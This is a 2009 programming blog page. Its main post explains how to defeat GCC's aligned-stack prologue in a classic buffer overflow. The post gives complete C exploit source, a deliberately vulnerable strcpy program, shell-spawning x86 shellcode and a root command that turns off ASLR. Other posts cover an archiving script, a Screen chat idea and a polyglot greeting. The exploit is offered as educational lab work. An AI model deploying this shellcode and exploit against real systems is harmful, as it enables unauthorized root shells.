A quick note: the new entrance/exit sequence of the main() discussed in the post "Smashing the aligned stack generated by GCC" is nothing new. See this article for more info (esp. Section 5): Advanced exploitation in exec-shield (Fedora Core case study).
Tuesday, February 10, 2009
Follow up on "Smashing the new stack generated by GCC"
Thursday, February 5, 2009
Smashing the aligned stack generated by GCC
In 1996, Elias Levy a.k.a. "Aleph One" published an article Smashing the Stack for Fun and Profit in the Phrack magazine, and the rest is history. Levy's paper greatly popularized the technique that has been known long since the days of the Morris worm.
After so many years, the techniques described in the original paper are falling behind of time. Modern operating systems usually employ complicated schemes in attempt to make attacks more difficult. For example, Linux implements a technique known as Address Space Layout Randomization, which obscures the virtual address space of a process, making it harder to guess the correct place to plant the payload. Moreover, some new compiler features are also making the situation more complicated.
For example, as Craig J. Heffner pointed out in his article Smashing the Modern Stack for Fun and Profit, GCC by default aligns the stack to 16-byte boundaries. By altering the compiler flag "-mpreferred-stack-boundary=n" one can choose aligning the stack boundary to 2ⁿ. This leaves a gap between the vulnerable buffer and the target address, breaking many old attack programs.
However, this is still not the full story. If we compare a program compiled by a recent version of GCC and the examples in Heffner's paper, we'll notice a big difference. Namely, the entrance and exit semantics of the main function have changed. In the Heffner paper, the disassembled program's main function looks like this:
main(). The stack pointer is "slewed" to the value before calling the function via the help of auxiliary registers and automatic variables. It then reads the return address stored there and put it to %eip (done by the ret instruction).
What does this have to do with stack-smashing? Well, with the first program, it is possible to smash the vulnerable buffer by repeating the attacker's malicious return address all the way up the stack and hit the place where the original return address is stored. This is illustrated by Murat Balaban, a Turkish hacker, in the paper Buffer Overflows Demystified. In Balaban's scheme, the shellcode payload is planted at where the environment variables stay (via the execve() facility), its address pre-calculated, and the vulnerable stack is "smashed", filled with this address. However, if you try to do this to the second program unaltered, you are likely to fail. This is because the saved value of %ecx, which is used to "slew" the stack pointer, is smashed first. After that, the stack pointer is loaded with a garbage value.
So what can be done to this? Actually only a small modification to Balaban's exploit (which is good for small buffers) will suffice.
The first step is to overflow the vulnerable buffer with a different value than the address of the shellcode. In the above example, we notice that the stack pointer %esp is loaded with the value 4 + (%ecx), where %ecx itself is loaded by popping from the stack. Knowing this, all we needed to do is to overflow this stack area with some "desired value" minus four. This is how we take control over the stack pointer.
However, the stack pointer is only an intermediate goal. Our ultimate target is the instruction pointer. In other words, the address now stored in %esp must reference a pointer to the shellcode. Only in this way can we take advantage of the ret instruction at the end of the function and hijack the %eip to our destination. There are many ways to do it but the easiest is to craft a "bomb with a fuse" -- widen the shellcode by one pointer-width (the "fuse") and store the address to the beginning of the actual shellcode (the "bomb") there. As long as we can dupe %esp to the fuse, the bomb can be triggered. According to Balaban's paper, since we can calculate the exact address of the shellcode, we can calculate the location of this "fuse" too.
This scheme is carried out in the following example. Before you proceed with it, there are some notes I would like to put down first.
- This example is very simplistic. It is only a proof-of-concept. The victim program in this example is extremely simplified.
- This only works with the
mainfunction. Other functions are not compiled like this. You don't need this either, if you specify-mpreferred-stack-boundary=2when compiling the victim program. - The code tries to pretend it's 64-bit aware but it's not. There's a magic number
0xbffffffataken from Balaban's paper which I believe is 32-bit specific. - This doesn't work with protection mechanisms like ASLR. If possible, try # echo "0" > /proc/sys/kernel/ramdomize_va_spaceas root user. I experiment with these hacks in an Arch Linux virtual machine with ASLR turned off.
- Some part of this code is also based on an example (
exploit2.c) in Ch. 7 of the book Gray Hat Hacking: the Ethical Hacker's Handbook. The original code has a bug -- theexeclecall seems to be a mix-up ofexecveandexecle. It is corrected in the code below. - The code is not general-purpose, and is very bloated and very ugly.
To carry out the exploit, first compile victim.c, and then compile exploit.c and cmdline.c to generate the exploiting code, using the header cmdline.h. Use the exploit program like this:
-p switch. Usually you need it to control the padding before the buffer. The -a option is 4 by default to match the behavior of GCC. If set it to 0, you can also use it to attack a victim compiled with -mpreferred-stack-boundary=2. See the output of --help.
The code itself explains.
victim.c
#include <string.h>
int main(int argc, char *argv[]) {
char buff[10];
strcpy(buff, argv[1]);
return 0;
}
exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <error.h>
#include "cmdline.h"
#define STARTADDR ( (size_t)(0xbffffffa) )
char shellcode[] =
/* "\xcc" */ /* trace mark for debugging */
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* start a shell */
int main(int argc, char *argv[]) {
/* config parameters */
config_t config;
void **ptr; /* movable pointer to be disposed */
void *addr; /* the start address of payload */
void *fillpattern; /* repeated address to fill the buffer */
char *payload; /* payload (shellcode and optionally the "fuse") */
char *p; /* repeated address (with optional padding) */
unsigned int i;
size_t sc_len = strlen(shellcode); /* shell code length */
size_t bufferlen;
char *e_argv[3];
char *e_envp[2];
/* get config info */
if (getopt_long_wrapper(&config, argc, argv) != 0) {
perror("getopt_long_wrapper");
exit(EXIT_FAILURE);
}
/* allocate space for the payload and the repeated address */
if (config.filleradj == 0) {
/* no need to adj., no need to add fuse */
payload = shellcode;
addr = (void *)(STARTADDR - strlen(config.victim) - sc_len);
fillpattern = addr;
} else {
/* malloc space for fuse and shellcode */
if (!(payload = (char *)malloc(POINTER_WIDTH + sc_len + (size_t)1))) {
/* malloc failed */
perror("malloc");
exit(EXIT_FAILURE);
}
/* plant the fuse and the bomb */
addr = (void *)(STARTADDR - strlen(config.victim) \
- (sc_len + POINTER_WIDTH));
((void **)payload)[0] = (void *)((size_t)addr + POINTER_WIDTH);
memmove((void *)((size_t)payload + POINTER_WIDTH), shellcode, \
sc_len + (size_t)1);
fillpattern = (void *)((size_t)addr + (size_t)config.filleradj);
}
fprintf(stderr, "[***] Payload address to be %p in new process.\n", addr);
fprintf(stderr, "[***] Filling buffer with pattern %p\n", fillpattern);
/* allocate for repeated address */
bufferlen = config.buffer_efflen + config.padding;
if (!(p = (char *)malloc(bufferlen))) {
perror("malloc");
exit(EXIT_FAILURE);
}
memset((void *)p, 'B', config.padding);
ptr = (void **)(p + config.padding);
for (i = 0; i < config.buffer_efflen; i += POINTER_WIDTH)
*ptr++ = fillpattern;
e_argv[0] = config.victim;
e_argv[1] = p;
e_argv[2] = NULL;
e_envp[0] = payload;
e_envp[1] = NULL;
execve(config.victim, e_argv, e_envp);
perror("execve");
exit(EXIT_FAILURE);
}cmdline.c
#include "cmdline.h"
char usage_str[] = "usage: exploit"
" -h | [-l length] [-p padding] [-a adj] victim\n"
"-h, --help display this help and exit;\n"
"-l, --length LEN use LEN * (size of pointer) bytes to overflow the buffer\n"
" default: 40 on 32-bit and 20 on 64-bit.\n"
"-p, --padding PAD use padding in the first PAD bytes of buffer\n"
" default: 2.\n"
"-a, --adjust ADJ adjust the pattern used to fill the buffer\n"
" default: 4.\n";
const char * const short_options = "hl:p:a:";
const struct option long_options[] = {
{"help", 0, NULL, 'h'},
{"length", 1, NULL, 'l'},
{"padding", 1, NULL, 'p'},
{"adjust", 1, NULL, 'a'},
{NULL, 0, NULL, 0}
};
int getopt_long_wrapper(config_t *config, int argc, char *argv[]) {
/* wrapper for getopt_long */
int next_option;
int ic;
/* default values */
config->buffer_efflen = (size_t)160;
config->padding = (size_t)2;
config->victim = NULL;
config->filleradj = 4;
do {
next_option = getopt_long(argc, argv,
short_options, long_options, NULL);
switch (next_option) {
case 'h':
show_usage(stdout, EXIT_SUCCESS);
break;
case 'l':
ic = atoi(optarg);
if (VALID_INTOPT(ic, LEN_LLIMIT))
config->buffer_efflen = POINTER_WIDTH * (size_t)ic;
else
show_usage(stderr, EXIT_FAILURE);
break;
case 'p':
ic = atoi(optarg);
if (VALID_INTOPT(ic, PAD_LLIMIT))
config->padding = (size_t)ic;
else
show_usage(stderr, EXIT_FAILURE);
break;
case 'a':
ic = atoi(optarg);
if (VALID_ADJ(ic))
config->filleradj = ic;
else
show_usage(stderr, EXIT_FAILURE);
break;
case '\?':
show_usage(stderr, EXIT_FAILURE);
break;
case -1:
break;
default:
/* shouldn't happen */
return -1;
}
} while (next_option != -1);
if (argv[optind] == NULL)
show_usage(stderr, EXIT_FAILURE);
else
config->victim = argv[optind];
return 0;
}
void show_usage(FILE *stream, int exit_code) {
fprintf(stream, usage_str);
exit(exit_code);
}cmdline.h
#ifndef FILE_CMDLINE_H
#define FILE_CMDLINE_H
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <getopt.h>
#define POINTER_WIDTH ( sizeof(void *) )
#define STRIDE_ULIMIT ( 1024 )
#define LEN_LLIMIT ( 1 )
#define PAD_LLIMIT ( 0 )
#define VALID_INTOPT(x, LLIM) ( ((x) >= (LLIM)) && ((x) <= (STRIDE_ULIMIT)) )
#define VALID_ADJ(x) ( (x) <= 0x10000000 )
typedef struct config_info {
size_t buffer_efflen; /* effective length of filler buffer in bytes */
size_t padding; /* filler padding length in bytes */
char *victim; /* victim program name */
int filleradj;
} config_t;
int getopt_long_wrapper(config_t *config, int argc, char *argv[]);
void show_usage(FILE *stream, int exit_code);
#endif /* FILE_CMDLINEOPTS_H */
Monday, February 2, 2009
Using SSH and GNU Screen as an IM client
GNU Screen is damn cool old-skool stuff. It can do anything. It makes you the Kwisatz Haderach, the one who can be many places at once (with apology to Frank Herbert).
And of course it can be [ab]used to do wacky stuff. One idea I came up with when writing a tutorial about Screen is an instant messaging client. Well not exactly a "client" in its technical sense but quite close.
I call this one SP2PALRIM, which stands for "Secure, Peer-to-Peer, Actually Local, Remote Instant Messaging". The idea is illustrated in the screenshot below, taken for the prototype implementation. Because I have only one box at hand, I created a virtual machine and connected to it through SSH.
In this example, we hired the famous characters, Alice and Bob, as our beta testers (How can an SSH story go without Alice and Bob?). Alice was typing from the guest OS (smaller window in front) while Bob was from the host OS. Bob wanted to IM Alice so he SSHed in and joined in a Screen session. This session controlled two windows. Each of them took one and typed from it. Here, both of them chose to place the "sent messages" on top of "received messages".
Well, you can see this model has quite a few deficiencies. It's only a prototype. However, you see the idea.
A possible improvement will involve a third window -- the "channel", to which Alice and Bob write in the same time, so it looks like a real conversation rather than two individuals talking to themselves separately. Of course this "channel" can be easily logged into a file.
But before I go on to implement this wonderful, revolutionary IM program I'll have to get out of here...
P.S. What happened the Screen tutorial aforementioned? Well it was too bad to deserve a link here. On a completely unrelated note, the directory name in the image above is a typo. There should have been an "r" in it.
Thursday, January 15, 2009
Archiving script for multiple directories.
C4talyst at FedoraForum.org posted a question (link to my discussion) about file archiving scripts. I tried making one, just for fun.
#!/usr/bin/env python # Copyright (c) 2009, Cong Ma# All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # * None of the names of its contributors may be used to endorse or # promote products derived from this software without specific prior # written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """A python script that invokes tar and gzip to archive files. See the output of the -h option for documentation. """ # TODO: # * Too dependent on certain versions of "tar" # * Too dumb to skip empty source files # * Performance horrible if recursion gets deep # * Configurability too limited import subprocess import os import stat import os.path import sys import optparse import time # Custom return codes. # This script tries to continue operation, instead of to fail early, when an # exception occurs. The return code of this script is and indication of what # happens during operation, alongside with the messages sent to standard error. # The actual return code can be the bitwise OR'ed result of the following # flags. If a flag is present in the final return code, it indicates the # corresponding problem has happened at least once during the operation. RC_TABLE = { "success": 0x00, # clean record "badargs": 0x01, # invalid arguments passed "notadir": 0x02, # SRC_DIR not a directory "childfail": 0x04, # child process unsuccessful exit "mkdirfail": 0x08, # mkdir() failure "chmodfail": 0x10, # chmod() failure "openfail": 0x20, # open() failure } # Global err number GLOB_ERRNO = RC_TABLE["success"] class MyOptionParser(optparse.OptionParser): """Custom class extending optparser.OptionParser to make sure the desired value is returned when the program fails because of wrong argument list. """ def exit(self, status=RC_TABLE["badargs"], msg=None): """Override superclass' exit() so that always return the desired value. """ global GLOB_ERRNO if msg: _warn(msg) GLOB_ERRNO |= status sys.exit(GLOB_ERRNO) def _warn(msg): """Dumb implementation of warning output.""" print >> sys.stderr, msg return None def getcmdlineparser(): """Return a command-line parser for the main procedure.""" usage_msg = "Usage: %prog -s SRC_DIR [-k NUM] [-u SUFFIX] [-a ARCHIVE_SUFFIX]\n"\ " %prog -h\n\n"\ "This program is used to make separate archives for directory\n"\ "contents.\n\n"\ "Example:\n"\ " %prog -s foo/ -u baz/quux -k 1 -a save\n"\ "will archive all directories foo/*/baz/quux/\n"\ "to foo/*/baz/quux/save\n" parser = MyOptionParser(usage=usage_msg) parser.set_defaults(suffix="", arch="archive", skip=1) parser.add_option("-s", "--src-dir", dest="src", help="source directory", metavar="SOURCE_DIR") parser.add_option("-a", "--archive-suffix", dest="arch", help="archive suffix (default: \"archive\")", metavar="NAME") parser.add_option("-u", "--suffix", dest="suffix", help="suffix (default: empty string)", metavar="SUFFIX") parser.add_option("-k", "--skip", dest="skip", type="int", help="levels of directories to skip (default: 1)", metavar="NUM") return parser def canonizearchsuffix(raw_arch_suffix): """Validate and canonize the user-provided archive suffix.""" split_path = raw_arch_suffix.split("/") if split_path[0] and not any(split_path[1:]): return split_path[0] else: raise RuntimeError, "Archive suffix must be a single, relative path." def calltargzip(archivedir_relname, output_basename): """Call and wait for tar/gzip processes. archive_relname: archive directory path relative to parent dir. output_basename: basename of the output tarball. usage: chdir to the parent directory before calling this. """ global GLOB_ERRNO # Prepair tar arglist tar_args = ["tar", # argv[0] "-c", # create "-f", "-", # to stdout "--preserve", "--selinux", "--xattrs", "--acls", # preserve info "--remove", # remove orig. after archive update "--wildcards", "--wildcards-match-slash", # exclude option # exclude the archive dir itself and everyting under it "--exclude", "%s*" % archivedir_relname ] # Prepair input file list. input_files_all = os.listdir(".") # Complete tar's arglist tar_args.extend(input_files_all) # Create output file output_relname = os.path.join(archivedir_relname, output_basename) try: # NOTE: with the O_EXCL flag symlinks are not followed (good), # see open(2) out_fd = os.open(output_relname, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0600) except OSError: # Can't create. _warn("Warning: Can't create output file %s" % output_relname) GLOB_ERRNO |= RC_TABLE["openfail"] return None # Create children children = [] tar_proc = subprocess.Popen(tar_args, stdout=subprocess.PIPE) children.append(tar_proc) gzip_proc = subprocess.Popen(["gzip", "-9"], stdin=tar_proc.stdout, stdout=out_fd) children.append(gzip_proc) # Wait for the children to do the work (child labor) gzip_proc.wait() tar_proc.wait() for child in children: if child.returncode != 0: # don't exit on possible failure _warn("Warning: Child process %d exited with return code %d." \ % (child.pid, child.returncode)) GLOB_ERRNO |= RC_TABLE["childfail"] # clean up # This chmod is vulnerable to link attacks. Unless Python implements # fchmod() there's no easy fix. perm_mode = stat.S_IRUSR | stat.S_IWUSR | stat.S_IRGRP | stat.S_IROTH try: os.chmod(output_relname, perm_mode) except OSError: _warn("Warning: Can't chmod() to 644 on file %s." \ % os.path.abspath(output_relname)) GLOB_ERRNO |= RC_TABLE["chmodfail"] os.close(out_fd) return None def getlocaltimestamp(): """Return a date/time stamp in the format of -yyyymmdd-HHMMSS for the current local date/time. """ template = "-%Y%m%d-%H%M%S" return time.strftime(template) def getdirstoarchive(base_dir, skip, suffix): """Recursive generator that yields one path to a directory a time, decending from base_dir, skipping skip levels and finding a subdir with name matching suffix. """ if skip == 0: newpath = os.path.join(base_dir, suffix) if os.path.isdir(newpath): yield newpath else: # XXX: Recursive generator in Python is a bad idea. lsdir = os.listdir(base_dir) for filename in lsdir: jointname = os.path.join(base_dir, filename) # Skipping non-directories early. if os.path.isdir(jointname) and not os.path.islink(jointname): for newpath in getdirstoarchive(jointname, skip - 1, suffix): if os.path.isdir(newpath) and not os.path.islink(jointname): yield newpath def main(): """Main procedure.""" global GLOB_ERRNO oldcwd = os.getcwd() parser = getcmdlineparser() options, args = parser.parse_args() if options.skip < 0: _warn("Negative skip not understood.") GLOB_ERRNO |= RC_TABLE["badargs"] sys.exit(GLOB_ERRNO) try: arch_suffix = canonizearchsuffix(options.arch) except RuntimeError: _warn("Archive suffix must be a single, relative path.") GLOB_ERRNO |= RC_TABLE["badargs"] sys.exit(GLOB_ERRNO) if not os.path.isdir(options.src): _warn("SRC_DIR %s doesn't appear to be a directtory" % options.src) GLOB_ERRNO |= RC_TABLE["notadir"] sys.exit(GLOB_ERRNO) timestamp = getlocaltimestamp() # one run, one timestamp archive_basename = "%s%s.tar.gz" % (arch_suffix, timestamp) dirs_generator = getdirstoarchive(options.src, options.skip, options.suffix) for basedir in dirs_generator: os.chdir(basedir) if not os.path.isdir(arch_suffix): try: os.mkdir(arch_suffix) # it will fail when it should except OSError: _warn("Warning: cannot make directory %s. Skipped." \ % os.path.join(basedir, arch_suffix)) GLOB_ERRNO |= RC_TABLE["mkdirfail"] continue # skip this directory. calltargzip(arch_suffix, archive_basename) os.chdir(oldcwd) sys.exit(GLOB_ERRNO) if __name__ == "__main__": main()
Perhaps too buggy to be actually used in production...
Update: Better behavior on exit.
Update: Don't follow symlinks when "skipping" directories.
Wednesday, December 24, 2008
Best wishes, from two lands
This piece of code I wrote today is nothing fancy compared to the ingenious code written by great haxx0rs. Just a small X'mas surprise ;)
From C land:
#include <stdio.h>
#define main() int main(void){printf("Merry Christmas and Happy New Year!\n From C land, with love.\n");return 0;}
#define BE_HAPPY /*
def main(): print "Merry Christmas and Happy New Year!\n From Python land, with love."
#*/
main()
Same thing, this time from Python (2.x) land:
#include <stdio.h>
#define main() int main(void){printf("Merry Christmas and Happy New Year!\n From C land, with love.\n");return 0;}
#define BE_HAPPY /*
def main(): print "Merry Christmas and Happy New Year!\n From Python land, with love."
#*/
main()
Click on the image below to see an animated version of this code displayed in EMACS with alternate syntax-highlighting modes.
Friday, December 12, 2008
Persecute and destroy them in anger from under the heavens…
Please, stop shoving Fortran code down my throat…
I have to quote this:
If you have written a program entirely in Fortran, please do not ask anyone else to maintain your code, unless person is like you and also knows only Fortran. If Fortran is the only language that you know, then please learn at least C and C++ and use Fortran only when necessary. Please do not hold the opinion that contributions in science and engineering are "true" contributions and software development is just a "tool". This bigoted attitude is behind the thousands of lines of ugly unmaintainable code that goes around in many places. Good software development can be an important contribution in its own right, and regardless of what your goals are, please appreciate it and encourage it. To maximize the benefits of good software, please make your software free.
(Original text: "Choosing a good programming language" from the Autotoolset Tutorial by Marcelo Roberto Jimenez and Thierry Michel)
Thank you guys. You've said for me what I wished to say myself.

